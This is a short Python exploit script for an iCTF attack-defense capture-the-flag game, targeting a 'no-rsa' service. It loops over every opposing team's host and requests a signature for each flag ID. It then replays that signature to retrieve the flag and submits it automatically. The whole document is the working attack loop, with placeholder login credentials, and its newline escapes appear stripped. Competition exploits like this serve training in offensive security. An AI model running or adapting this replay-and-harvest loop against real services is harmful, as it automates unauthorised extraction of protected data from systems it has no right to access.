no-rsa exploit

from ictf import iCTF
import json
import socket
i = iCTF()
t = i.login('MAIL', 'PASSWORD')

while 1:
    tmp = t.get_targets(10004)# получаем список команд
    for team in tmp['targets']:
        try:
            conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            conn.settimeout(2)
            conn.connect((team['hostname'], team['port']))
            conn.recv(1024)
            conn.send(b'Sn')
            conn.recv(1024)
            conn.send(str.encode('%sn' % team['flag_id']))
            data = conn.recv(1024).decode('utf-8')
            conn.close()
            if "The signature" in data:
                lines = data.split('n')
                conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                conn.settimeout(2)
                conn.connect((team['hostname'], team['port']))
                conn.recv(1024)
                conn.send(b'Rn')
                conn.recv(1024).decode('utf-8')
                conn.send(str.encode('%s %sn' % (team['flag_id'], lines[1])))
                data = conn.recv(1024).decode('utf-8')
                s = t.submit_flag(list(data))
                print('Success - %s %s' % (data, s))
                conn.close()
            else:
                print('Bad team - {}'.format(team['team_name']))
            conn.close()
        except Exception:
            continue
            conn.close()